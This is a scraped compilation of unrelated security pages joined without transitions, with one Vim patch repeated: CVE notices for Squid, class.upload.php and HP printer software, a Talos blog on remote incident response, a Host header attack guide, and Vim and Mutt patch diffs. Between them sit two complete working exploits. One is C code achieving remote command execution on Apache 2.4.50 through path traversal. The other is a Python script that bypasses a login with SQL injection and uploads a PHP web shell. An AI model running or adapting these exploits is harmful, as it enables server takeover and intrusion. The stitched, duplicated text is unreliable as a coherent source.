An issue was discovered in Squid 4.0.23 through 4.7. When checking Basic Authentication with HttpHeader::getAuth, Squid uses a global buffer to store the decoded data. Squid does not check that the decoded length isn't greater than the buffer, leading to a heap-based buffer overflow with user controlled data.

These changesets represents the changes since the last release and is included in the current nightly Squid 4 snapshots and is scheduled to be included in the next Squid 4 release.

Note to package maintainers: Patches to the current Squid 4 release represents work in progress and has not yet undergone full quality checks. The developer team reserves the right to update these at any time to fix problems found during quality checking. For this reason (and to reduce confusion about package versions) package maintainers are discouraged from using these patches, and only use this page to backport changes from published releases to earlier releases if your QA policy does not allow upgrading your package to the current Squid 4 release. If there is any questions regarding this policy please contact squid-dev@lists.squid-cache.org.

CVE-2019-12527: Squid 4 changes

As a simple library, class.upload.php does not perform an in-depth check on uploaded files, allowing a stored XSS vulnerability when the default configuration is used. 


Developers must be aware of that fact and use extension whitelisting accompanied by forcing the server to always provide content-type based on the file extension. 


The README has been updated to include these guidelines.




**class.upload.php allows cross-site scripting attacks via uploaded files**

Moderate severity GitHub Reviewed Published Jan 4, 2024 to the GitHub Advisory Database • Updated Jan 4, 2024

GHSA-v6f4-jwv9-682w: class.upload.php allows cross-site scripting attacks via uploaded files

In this blog post, Cisco Talos Incident Response (Talos IR) presents some of the key benefits of remote IR support and offers a list of recommendations for working on a remote incident.

Tuesday, January 10, 2023 12:01

_**Authors:** Gergana Karadzhova, Joe Schumacher, Pawel Bosek_

In this blog post, Cisco Talos Incident Response (Talos IR) presents some of the key benefits of remote IR support and offers a list of recommendations for working on a remote incident.

Some organizations see added value in having incident responders on site during an emergency. While this approach may offer certain benefits in terms of coordination, in Talos IR’s experience, the physical presence of a team on site is not crucial for the success of the overall IR. Cybersecurity threats are by definition intangible and bringing people physically together does not automatically facilitate an investigation. The traces of the malicious actors involved in a ransomware case, for example, are in the cyberspace made up by an organization’s network and the Internet, which means that, with sufficient connectivity, a remote responder team can work on the case from anywhere.

As a remote-first, follow-the-sun global team, Talos IR has extensive experience in creating a healthy, effective, and collaborative environment for customers and responders regardless of the stressful nature of IR activities. Trust needs to be built over time and proactive IR services offer the means to do this preemptively, ensuring that when an emergency happens, the responders will be able to gain appropriate access in a timely manner. Specific recommendations on how to strategically use proactive services in building this relationship are outlined in section “Adopting a ‘trust but verify’ approach.”

**Analyzing the advantages of remote IR support**

Criteria 

Remote 

On-Site 

Start of engagement 

15 minutes to four hours 

24 hours in transit 

Personnel utilization and treatment 

“Follow the sun” model, ensuring that team members rest in between shifts and lower the risk of burnout 

Usually limited to daytime. 

Risk of overstretching the team if working around the clock for multiple days 

Scalability  

Limited only by the IR team’s size  

1 – 2 people depending on the size of retainer 

Knowledge transfer between IR team and internal teams 

Primarily written  

Primarily verbal  

Efficiency  

Overall shorter period of time to start; easier to ramp up; better personnel utilization and care; transparent and lower cost 

Overall longer time to start; harder to ramp up; limited daily period of work; additional costs due to travel and accommodation 

Remote incident response offers the following key advantages in comparison to on-site support:

*   **Faster initial response –** The average industry service-level agreement for having on-site support is 24 hours in transit. Depending on the exact time when the incident was reported, the transportation options to the location, and the immediate availability of the consultants going on site, it can take anywhere between eight to 24 hours to reach the customer premises. This is significantly longer than the time needed to kick off a remote response, which in Talos IR’s experience is less than two hours.
*   **Easier to scale the response team –** IR is a team sport. Customers usually mainly interact with a few dedicated team members of the IR team, such as an Incident Commander and a few lead consultants. In the background, however, there are additional technology specialists, project managers and threat intelligence analysts working on the case. It is much easier to involve additional personnel in a remotely managed incident than to order people on site.
*   **More resource efficient –** The three most valuable resources in an incident are time, budget, and human power. In terms of human power, consider an incident which has been active for 48+ hours and is still ongoing. In such cases, having a remote team consisting of members in different time zones can ensure that work on the incident follows the sun without burning the team out. When it comes to cost management, remote incident support tends to provide great transparency of activities performed by the team, due to the centralized flow of communication and information exchange. Additional cost efficiency is generated by the fact that technical personnel do not need to set up their workplace in a new environment with emergency conditions and thus suffer a dip in productivity.

**Preparing for remote incident response**

From inception, Talos IR has been handling our emergency IR while fully remote as the norm, even predating the COVID-19 pandemic, due to the 24x7 nature of our service and global team distribution. Webex organically allows Talos IR to quickly and securely support our customers anywhere in the world. During the pandemic, we supported Cisco customers without any service interruption and created additional virtual infrastructure to ensure that all Talos IR proactive services could be securely delivered. This being said, if we do encounter a special case which might necessitate on-site presence of the response team, we discuss with the customer if it would augment the overall IR effort.

Remote IR comes with its own set of challenges. Talos IR recommends discussing your approach to the points listed below _before_ an actual emergency, as addressing shortcomings might require lead time and resources.

*   **Provisioning Access** – Having a process to get the remote IR team access to on-premises and remote consoles will accelerate the ability to investigate the incident. This process should include accounts related to, but not necessarily limited to, Virtual Private Network (VPN), Active Directory (AD), Endpoint Detection and Response (EDR), Multi-Factor Authentication (MFA), and other security controls.
*   **Regulatory & Compliance Requirements** – Data collection and sharing are often subject to country-specific laws, especially in the case of critical infrastructure and personally identifiable information (PII). Technical teams should work with the Legal Department and the Data Privacy and Governance Office to verify the exact legislation that is applicable to the different data sources that might be part of an incident. Any known limitations regarding remote collection of evidence and analysis of the data should be documented in the Incident Response Plan.
*   **Communication Cadence** – Having multiple means of communication and a set status update meeting will help ensure that everyone is kept on the same page. Communication is critical to get right during an incident but does not have to be in-person to be efficient or effective. People tend to be hyper-connected during IR, so bringing structure and predictability to the information flow benefits everyone.
*   **Gathering Evidence** – Remote evidence collection might not be possible in all incidents, but with some planning can be a viable alternative to traveling to a location or shipping an asset. You will want to ensure that there are technical representatives on-site who can assist the IR team with collecting forensic and triage data from in-scope assets.
*   **Sharing Evidence** – A reliable, high-speed network connection is essential for downloading and uploading large files to remote server(s). You will most likely be downloading the requested evidence from endpoints (e.g., workstations and servers) within your internal network and then uploading this data to a remote server for the incident responders to analyze.
*   **Scaling the Response** – Typically, an incident starts with one or two events across a large, networked environment and expands in scope as more indicators of compromise are discovered. Having the ability to contact people across the team as the incident evolves and to connect them to the investigation remotely will reduce the overall time to act and contribute to a more efficient incident response. When planning who and how you might need to engage during a possible incident, it is critical to consider your internal team along with the partners, contractors, and service providers that will be assisting with the incident response remotely.

Internal teams that will be involved in the implementation of the above preparation activities should familiarize themselves with the agreed approach as part of their preparation for IR and whenever possible, test the theoretical plan in the practice. It is highly recommended to document all relevant procedures and processes within the internal Incident Response Plan and Incident Response Playbooks, as this makes distribution and knowledge management easier in the long run.

**Adopting a “trust but verify” approach**

In the world of security there is the phrase “trust but verify,” and this mentality should be present when it comes to your IR service provider. Many companies have their first contact with the IR team during an emergency, which is one of the worst times for building trust and getting to know each other. A much better way to become familiar with your incident responders is to work with them on **proactive services**. These services by definition are non-emergency and offer more time for addressing the remote support considerations listed above through tabletop exercises, development of plans and playbooks, and threat hunts. In addition to improving your overall resiliency to cyber threats, proactive services will allow you to see what tools are typically leveraged by the IR team and what methodology they use for threat hunting. The engagements provide an opportunity for the responders and your internal teams to build trust and a better understanding of each other’s craft. An investment in the human element of virtual collaboration pays off during subsequent remote IR cases, as both sides feel more comfortable working together and can be more efficient in the execution of emergency response actions.

In most businesses, a level of remoteness was present long before the COVID-19 pandemic. Many organizations operate remotely or in different locations, whether that is multiple offices, data centers, or the homes of their employees. The increase of remote work in the last few years has led to optimization and normalization of virtual collaboration, the latter becoming an integral part of modern business operations. In a similar way, IR has grown increasingly independent of physical location as long as secure connectivity is possible. There will always be the need to physically travel to a location for response in some special cases, but that will not be the norm.

The expanded use of cloud services, the increase in remoteness in company operations, and the shortage of cybersecurity talent all speak in favor of an IR delivery model with remote-first support and members distributed around the globe. This trend emphasizes the importance of accountability and trustworthiness in each and every interaction with the IR team, whether physically or virtually. Talos IR recognizes this and is committed to delivering high-quality and efficient engagements during all emergency and proactive retainer projects.

Increasing trust, commitment, and predictability during a remote incident response

In sourcecodetester Engineers Online Portal as of 10-21-21, an attacker can manipulate the Host header as seen by the web application and cause the application to behave in unexpected ways. Very often multiple websites are hosted on the same IP address. This is where the Host Header comes in. This header specifies which website should process the HTTP request. The web server uses the value of this header to dispatch the request to the specified website. Each website hosted on the same IP address is called a virtual host. And It's possible to send requests with arbitrary Host Headers to the first virtual host.

In this section, we'll discuss how misconfigurations and flawed business logic can expose websites to a variety of attacks via the HTTP Host header. We'll outline the high-level methodology for identifying websites that are vulnerable to HTTP Host header attacks and demonstrate how you can exploit this. Finally, we'll provide some general guidance on how you can protect your own websites.

![Host header attack](https://portswigger.net/web-security/images/host-header-attacks.jpg)

We've created a number of labs that are deliberately vulnerable to these techniques. If you prefer, you can go straight to the labs to put your skills to the test.

The HTTP Host header is a mandatory request header as of HTTP/1.1. It specifies the domain name that the client wants to access. For example, when a user visits `https://portswigger.net/web-security`, their browser will compose a request containing a Host header as follows:

`GET /web-security HTTP/1.1   Host: portswigger.net`

In some cases, such as when the request has been forwarded by an intermediary system, the Host value may be altered before it reaches the intended back-end component. We will discuss this scenario in more detail below.

The purpose of the HTTP Host header is to help identify which back-end component the client wants to communicate with. If requests didn't contain Host headers, or if the Host header was malformed in some way, this could lead to issues when routing incoming requests to the intended application.

Historically, this ambiguity didn't exist because each IP address would only host content for a single domain. Nowadays, largely due to the ever-growing trend for cloud-based solutions and outsourcing much of the related architecture, it is common for multiple websites and applications to be accessible at the same IP address. This approach has also increased in popularity partly as a result of IPv4 address exhaustion.

When multiple applications are accessible via the same IP address, this is most commonly a result of one of the following scenarios.

**Virtual hosting**

One possible scenario is when a single web server hosts multiple websites or applications. This could be multiple websites with a single owner, but it is also possible for websites with different owners to be hosted on a single, shared platform. This is less common than it used to be, but still occurs with some cloud-based SaaS solutions.

In either case, although each of these distinct websites will have a different domain name, they all share a common IP address with the server. Websites hosted in this way on a single server are known as "virtual hosts".

To a normal user accessing the website, a virtual host is often indistinguishable from a website being hosted on its own dedicated server.

**Routing traffic via an intermediary**

Another common scenario is when websites are hosted on distinct back-end servers, but all traffic between the client and servers is routed through an intermediary system. This could be a simple load balancer or a reverse proxy server of some kind. This setup is especially prevalent in cases where clients access the website via a content delivery network (CDN).

In this case, even though the websites are hosted on separate back-end servers, all of their domain names resolve to a single IP address of the intermediary component. This presents some of the same challenges as virtual hosting because the reverse proxy or load balancer needs to know the appropriate back-end to which it should route each request.

In both of these scenarios, the Host header is relied on to specify the intended recipient. A common analogy is the process of sending a letter to somebody who lives in an apartment building. The entire building has the same street address, but behind this street address there are many different apartments that each need to receive the correct mail somehow. One solution to this problem is simply to include the apartment number or the recipient's name in the address. In the case of HTTP messages, the Host header serves a similar purpose.

When a browser sends the request, the target URL will resolve to the IP address of a particular server. When this server receives the request, it refers to the Host header to determine the intended back-end and forwards the request accordingly.

HTTP Host header attacks exploit vulnerable websites that handle the value of the Host header in an unsafe way. If the server implicitly trusts the Host header, and fails to validate or escape it properly, an attacker may be able to use this input to inject harmful payloads that manipulate server-side behavior. Attacks that involve injecting a payload directly into the Host header are often known as "Host header injection" attacks.

Off-the-shelf web applications typically don't know what domain they are deployed on unless it is manually specified in a configuration file during setup. When they need to know the current domain, for example, to generate an absolute URL included in an email, they may resort to retrieving the domain from the Host header:

`<a href="https://_SERVER['HOST']/support">Contact support</a>`

The header value may also be used in a variety of interactions between different systems of the website's infrastructure.

As the Host header is in fact user controllable, this practice can lead to a number of issues. If the input is not properly escaped or validated, the Host header is a potential vector for exploiting a range of other vulnerabilities, most notably:

*   Web cache poisoning
*   Business logic flaws in specific functionality
*   Routing-based SSRF
*   Classic server-side vulnerabilities, such as SQL injection

HTTP Host header vulnerabilities typically arise due to the flawed assumption that the header is not user controllable. This creates implicit trust in the Host header and results in inadequate validation or escaping of its value, even though an attacker can easily modify this using tools like Burp Proxy.

Even if the Host header itself is handled more securely, depending on the configuration of the servers that deal with incoming requests, the Host can potentially be overridden by injecting other headers. Sometimes website owners are unaware that these headers are supported by default and, as a result, they may not be treated with the same level of scrutiny.

In fact, many of these vulnerabilities arise not because of insecure coding but because of insecure configuration of one or more components in the related infrastructure. These configuration issues can occur because websites integrate third-party technologies into their architecture without necessarily understanding the configuration options and their security implications.

By now, you should have a good understanding of what the HTTP Host header is. For pentesters and bug bounty hunters, we've created some additional guidance on how you can identify and exploit these kinds of vulnerabilities for yourself. We've also provided some deliberately vulnerable LABS so that you can practice some of these techniques.

To prevent HTTP Host header attacks, the simplest approach is to avoid using the Host header altogether in server-side code. Double-check whether each URL really needs to be absolute. You will often find that you can just use a relative URL instead. This simple change can help you prevent web cache poisoning vulnerabilities in particular.

Other ways to prevent HTTP Host header attacks include:

**Protect absolute URLs**

When you have to use absolute URLs, you should require the current domain to be manually specified in a configuration file and refer to this value instead of the Host header. This approach would eliminate the threat of password reset poisoning, for example.

**Validate the Host header**

If you must use the Host header, make sure you validate it properly. This should involve checking it against a whitelist of permitted domains and rejecting or redirecting any requests for unrecognized hosts. You should consult the documentation of your framework for guidance on how to do this. For example, the Django framework provides the `ALLOWED_HOSTS` option in the settings file. This approach will reduce your exposure to Host header injection attacks.

**Don't support Host override headers**

It is also important to check that you do not support additional headers that may be used to construct these attacks, in particular `X-Forwarded-Host`. Remember that these may be supported by default.

**Whitelist permitted domains**

To prevent routing-based attacks on internal infrastructure, you should configure your load balancer or any reverse proxies to forward requests only to a whitelist of permitted domains.

**Be careful with internal-only virtual hosts**

When using virtual hosting, you should avoid hosting internal-only websites and applications on the same server as public-facing content. Otherwise, attackers may be able to access internal domains via Host header manipulation.

CVE-2021-43437: HTTP Host header attacks | Web Security Academy

Certain HP and Samsung Printer software packages may potentially be vulnerable to elevation of privilege due to Uncontrolled Search Path Element.

CVE-2022-4894: Certain HP and Samsung printer software - Potential elevation of privileges

Permalink

Browse files

patch 8.2.4009: reading one byte beyond the end of the line

Problem:    Reading one byte beyond the end of the line.
Solution:   Check for NUL byte first.

*   Loading branch information

![@brammool](https://avatars.githubusercontent.com/u/8530623?s=40&v=4)

1 parent 677658a commit d3a117814d6acbf0dca3eff1a7626843b9b3734a

Showing with **17 additions** and **2 deletions**.

1.  +2 −1 src/ex\_docmd.c
2.  +11 −0 src/testdir/test\_vim9\_func.vim
3.  +2 −0 src/version.c
4.  +2 −1 src/vim9compile.c

@@ -3632,7 +3632,8 @@ find\_ex\_command(

}

  

// Check for "++nr" and "--nr".

if (p == eap->cmd && p\[0\] == p\[1\] && (\*p == '+' || \*p == '\-'))

if (p == eap->cmd && p\[0\] != NUL && p\[0\] == p\[1\]

&& (\*p == '+' || \*p == '\-'))

{

eap->cmdidx = \*p == '+' ? CMD\_increment : CMD\_decrement;

return eap->cmd + 2;

@@ -3537,6 +3537,17 @@ def Test\_numbered\_function\_reference()

unlet g:mydict

enddef

  

def Test\_go\_beyond\_end\_of\_cmd()

\# this was reading the byte after the end of the line

var lines \=<< trim END

def F()

cal

enddef

defcompile

END

CheckScriptFailure(lines, 'E476:')

enddef

  

if has('python3')

def Test\_python3\_heredoc()

py3 << trim EOF

@@ -750,6 +750,8 @@ static char \*(features\[\]) =

  

static int included\_patches\[\] =

{ /\* Add new patch number below this line \*/

/\*\*/

4009,

/\*\*/

4008,

/\*\*/

@@ -2781,7 +2781,8 @@ compile\_def\_function(

cmd = ea.cmd;

if ((\*cmd != '$' || starts\_with\_colon)

&& (starts\_with\_colon || !(\*cmd == '\\''

|| (cmd\[0\] == cmd\[1\] && (\*cmd == '+' || \*cmd == '\-')))))

|| (cmd\[0\] != NUL && cmd\[0\] == cmd\[1\]

&& (\*cmd == '+' || \*cmd == '\-')))))

{

ea.cmd = skip\_range(ea.cmd, TRUE, NULL);

if (ea.cmd > cmd)

**0 comments on commit `d3a1178`**

Please sign in to comment.

CVE-2022-0128: patch 8.2.4009: reading one byte beyond the end of the line · vim/vim@d3a1178

Apache version 2.4.50 remote code execution exploit that leverages a traversal as identified in CVE-2021-42013. Written in C.

    #include <stdio.h>#include <stdlib.h>#include <stdbool.h>#include <string.h>#include <curl/curl.h>/* Apache 2.4.50 exploit (CVE-2021-42013) * Author: Vilius Povilaika * Website: www.povilaika.com */// compile: $ gcc cve-2021-42013.c -lcurl -o cve-2021-42013int usage(char* prog){  printf("Usage: %s <host> <exec>\n", prog);  printf(" - %s https://127.0.0.1 \"uname -a\"\n", prog);  return 0;}bool error(const char* reason){  printf("[ERR] Critical error - %s\n", reason);  return false;}struct callback_result {  char* data;  size_t size;};static size_t callback(void* pointer, size_t size, size_t nmemb, void* data){  struct callback_result *memory = (struct callback_result *)data;  char* ptr = realloc(memory->data, memory->size+nmemb+1);  memory->data = ptr;  memcpy(&(memory->data[memory->size]), pointer, nmemb);  memory->size += nmemb;  memory->data[memory->size] = 0;  return nmemb;}bool exploit(void* result, char* host, char* exec){  CURL *curl = curl_easy_init();  char url[256];  sprintf(url, "%s/cgi-bin/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/bin/sh", host);  curl_easy_setopt(curl, CURLOPT_URL, url);  char payload[256];  sprintf(payload, "echo Content-Type: text/plain; echo; %s", exec);  curl_easy_setopt(curl, CURLOPT_POSTFIELDS, payload);  curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, callback);  curl_easy_setopt(curl, CURLOPT_WRITEDATA, result);  int res = curl_easy_perform(curl);  if (res != CURLE_OK)    return error(curl_easy_strerror(res));  curl_easy_cleanup(curl);  return true;}int main(int argc, char* argv[]){  if (argc != 3)    return usage(argv[0]);  struct callback_result result = {0};  bool res = exploit(&result, argv[1], argv[2]);  if (res)    printf("[+] Exploit finished successfully, check output\n");  else    printf("[-] Exploit failed, check output\n");  printf(" \n%s\n", result.data);  return 0;}

Apache 2.4.50 Remote Code Execution

Permalink

Browse files

patch 8.2.4009: reading one byte beyond the end of the line

Problem:    Reading one byte beyond the end of the line.
Solution:   Check for NUL byte first.

*   Loading branch information

1 parent 677658a commit d3a117814d6acbf0dca3eff1a7626843b9b3734a

Showing with **17 additions** and **2 deletions**.

1.  +2 −1 src/ex\_docmd.c
2.  +11 −0 src/testdir/test\_vim9\_func.vim
3.  +2 −0 src/version.c
4.  +2 −1 src/vim9compile.c

@@ -3632,7 +3632,8 @@ find\_ex\_command(

}

  

// Check for "++nr" and "--nr".

if (p == eap->cmd && p\[0\] == p\[1\] && (\*p == '+' || \*p == '\-'))

if (p == eap->cmd && p\[0\] != NUL && p\[0\] == p\[1\]

&& (\*p == '+' || \*p == '\-'))

{

eap->cmdidx = \*p == '+' ? CMD\_increment : CMD\_decrement;

return eap->cmd + 2;

@@ -3537,6 +3537,17 @@ def Test\_numbered\_function\_reference()

unlet g:mydict

enddef

  

def Test\_go\_beyond\_end\_of\_cmd()

\# this was reading the byte after the end of the line

var lines \=<< trim END

def F()

cal

enddef

defcompile

END

CheckScriptFailure(lines, 'E476:')

enddef

  

if has('python3')

def Test\_python3\_heredoc()

py3 << trim EOF

@@ -750,6 +750,8 @@ static char \*(features\[\]) =

  

static int included\_patches\[\] =

{ /\* Add new patch number below this line \*/

/\*\*/

4009,

/\*\*/

4008,

/\*\*/

@@ -2781,7 +2781,8 @@ compile\_def\_function(

cmd = ea.cmd;

if ((\*cmd != '$' || starts\_with\_colon)

&& (starts\_with\_colon || !(\*cmd == '\\''

|| (cmd\[0\] == cmd\[1\] && (\*cmd == '+' || \*cmd == '\-')))))

|| (cmd\[0\] != NUL && cmd\[0\] == cmd\[1\]

&& (\*cmd == '+' || \*cmd == '\-')))))

{

ea.cmd = skip\_range(ea.cmd, TRUE, NULL);

if (ea.cmd > cmd)

**0 comments on commit d3a1178**

Please sign in to comment.

Online Diagnostic Lab Management System version 1.0 remote exploit that bypasses login with SQL injection and then uploads a shell.

    # Exploit Title: Online Diagnostic Lab Management System - Remote Code Execution (RCE) (Unauthenticated)# Google Dork: N/A# Date: 2022-9-23# Exploit Author: yousef alraddadi - https://twitter.com/y0usef_11# Vendor Homepage: https://www.sourcecodester.com/php/15667/online-diagnostic-lab-management-system-using-php-and-mysql-free-download.html# Software Link: https://www.sourcecodester.com/sites/default/files/download/mayuri_k/diagnostic_0.zip# Tested on: windows 11 - XAMPP# CVE : N/A# Version: 1.0# Authentication Required: bypass login with sql injection #/usr/bin/python3 import requests import osimport sysimport timeimport random# clean screenos.system("cls")os.system("clear")logo = '''###################################################################                                                                #  #    Exploit Script ( Online Diagnostic Lab Management System )  ##                                                                ###################################################################'''print(logo)url = str(input("Enter website url : "))username = ("' OR 1=1-- -")password = ("test")req = requests.Session()target = url+"/diagnostic/login.php"data = {'username':username,'password':password}website = req.post(target,data=data)files = open("rev.php","w")payload = "<?php system($_GET['cmd']);?>"files.write(payload)files.close()hash = random.getrandbits(128)name_file = str(hash)+".php"if "Login Successfully" in website.text:        print("[+] Login Successfully")    website_1 = url+"/diagnostic/php_action/createOrder.php"    upload_file = {         "orderDate": (None,""),        "clientName": (None,""),        "clientContact" : (None,""),        "productName[]" : (None,""),        "rateValue[]" : (None,""),        "quantity[]" : (None,""),        "totalValue[]" : (None,""),        "subTotalValue" : (None,""),        "totalAmountValue" : (None,""),        "discount" : (None,""),        "grandTotalValue" : (None,""),        "gstn" : (None,""),        "vatValue" : (None,""),        "paid" : (None,""),        "dueValue" : (None,""),        "paymentType" : (None,""),        "paymentStatus" : (None,""),        "paymentPlace" : (None,""),        "productImage" : (name_file,open("rev.php","rb"))        }     up = req.post(website_1,files=upload_file)    print("[+] Check here file shell => "+url+"/diagnostic/assets/myimages/"+name_file)    print("[+] can exect command here => "+url+"/diagnostic/assets/myimages/"+name_file+"?cmd=whoami")else:     print("[-] Check username or password")

Online Diagnostic Lab Management System 1.0 SQL Injection / Shell Upload

Null pointer dereference when composing from a specially crafted draft message in Mutt >1.5.2 <2.2.12

From 4cc3128abdf52c615911589394a03271fddeefc6 Mon Sep 17 00:00:00 2001 From: Kevin McCarthy Date: Mon, 4 Sep 2023 12:50:07 +0800 Subject: \[PATCH\] Check for NULL userhdrs. When composing an email, miscellaneous extra headers are stored in a userhdrs list. Mutt first checks to ensure each header contains at least a colon character, passes the entire userhdr field (name, colon, and body) to the rfc2047 decoder, and safe\_strdup()'s the result on the userhdrs list. An empty result would from the decode would result in a NULL headers being added to list. The previous commit removed the possibility of the decoded header field being empty, but it's prudent to add a check to the strchr calls, in case there is another unexpected bug resulting in one. Thanks to Chenyuan Mi (@morningbread) for discovering the two strchr crashes, giving a working example draft message, and providing the stack traces for the two NULL derefences. --- sendlib.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/sendlib.c b/sendlib.c index c2283972..763bff41 100644 --- a/sendlib.c +++ b/sendlib.c @@ -2418,7 +2418,7 @@ int mutt\_write\_rfc822\_header (FILE \*fp, ENVELOPE \*env, BODY \*attach, char \*date, /\* Add any user defined headers \*/ for (; tmp; tmp = tmp->next) { - if ((p = strchr (tmp->data, ':'))) + if ((p = strchr (NONULL (tmp->data), ':'))) { q = p; @@ -2466,7 +2466,7 @@ static void encode\_headers (LIST \*h) for (; h; h = h->next) { - if (!(p = strchr (h->data, ':'))) + if (!(p = strchr (NONULL (h->data), ':'))) continue; i = p - h->data; -- GitLab

Search

lenovo warranty check/lookup | check warranty status | lenovo support us